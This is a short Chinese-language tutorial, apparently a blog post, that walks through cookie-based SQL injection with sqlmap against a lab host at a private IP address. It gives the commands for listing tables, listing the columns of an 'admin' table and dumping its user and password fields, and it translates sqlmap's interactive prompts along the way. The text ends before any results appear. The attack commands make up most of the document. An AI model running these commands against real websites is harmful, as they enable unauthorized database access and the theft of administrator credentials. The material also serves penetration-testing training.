sqlmap之(五)----Cookie注入实战

(1) cookie注入，猜解表

sqlmap.py -u "http://192.168.87.129/shownews.asp" --cookie "id=27" --table --level 2

do you want to URL encode cookie values (implementation specific)? [Y/n]

你想要对URL值进行URL编码（具体实现）吗?   输入"Y"

Cookie parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

cookie参数“id”是脆弱的。你想继续测试其他（如果有的话）吗?  输入"Y"

do you want to use common table existence check? [Y/n/q]

你是否要使用存在的公共表去检查? [Y/n/q]  输入"Y" 并输入线程数。

等待一下就出结果了。

(2) 猜解字段，(通过1的表猜解字段，假如表为admin)

sqlmap.py -u "http://192.168.87.129/shownews.asp" --cookie "id=27" --columns -T admin --level 2

(3) 猜解内容

sqlmap.py -u "http://192.168.87.129/shownews.asp" --cookie "id=27" --dump -T admin -C "user,password" --level 2

猜出的内容为